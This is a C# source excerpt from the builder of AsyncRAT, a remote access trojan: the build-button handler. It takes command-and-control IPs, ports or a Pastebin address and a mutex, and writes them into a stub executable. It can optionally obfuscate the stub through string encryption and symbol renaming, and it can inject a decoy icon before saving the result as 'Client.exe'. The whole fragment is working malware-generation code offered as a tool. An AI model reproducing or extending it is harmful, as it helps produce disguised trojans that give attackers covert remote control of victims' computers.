private async void BtnBuild_Click(object sender, EventArgs e) { if (!chkPastebin.Checked && listBoxIP.Items.Count == 0 || listBoxPort.Items.Count == 0) { return; } if (checkBox1.Checked) { if (string.IsNullOrWhiteSpace(textFilename.Text) || string.IsNullOrWhiteSpace(comboBoxFolder.Text)) { return; } if (!textFilename.Text.EndsWith("exe")) { textFilename.Text += ".exe"; } } if (string.IsNullOrWhiteSpace(txtMutex.Text)) { txtMutex.Text = Guid.NewGuid().ToString().Substring(20); } if (chkPastebin.Checked && string.IsNullOrWhiteSpace(txtPastebin.Text)) { return; } try { using (ModuleDefMD asmDef = ModuleDefMD.Load(@"Stub/Stub.exe")) using (SaveFileDialog saveFileDialog1 = new SaveFileDialog()) { saveFileDialog1.Filter = ".exe (*.exe)|*.exe"; saveFileDialog1.InitialDirectory = Application.StartupPath; saveFileDialog1.OverwritePrompt = false; saveFileDialog1.FileName = "Client"; if (saveFileDialog1.ShowDialog() == DialogResult.OK) { btnBuild.Enabled = false; await Task.Run(() => { WriteSettings(asmDef); if (chkObfu.Checked) { EncryptString.DoEncrypt(asmDef); Renaming.DoRenaming(asmDef); } asmDef.Write(saveFileDialog1.FileName); asmDef.Dispose(); if (btnAssembly.Checked) { WriteAssembly(saveFileDialog1.FileName); } if (chkIcon.Checked && !string.IsNullOrEmpty(txtIcon.Text)) { IconInjector.InjectIcon(saveFileDialog1.FileName, txtIcon.Text); } }); MessageBox.Show("Done!", "AsyncRAT | Builder", MessageBoxButtons.OK, MessageBoxIcon.Information); SaveSettings(); this.Close(); } } } catch (Exception ex) { MessageBox.Show(ex.Message, "AsyncRAT | Builder", MessageBoxButtons.OK, MessageBoxIcon.Error); btnBuild.Enabled = true; } }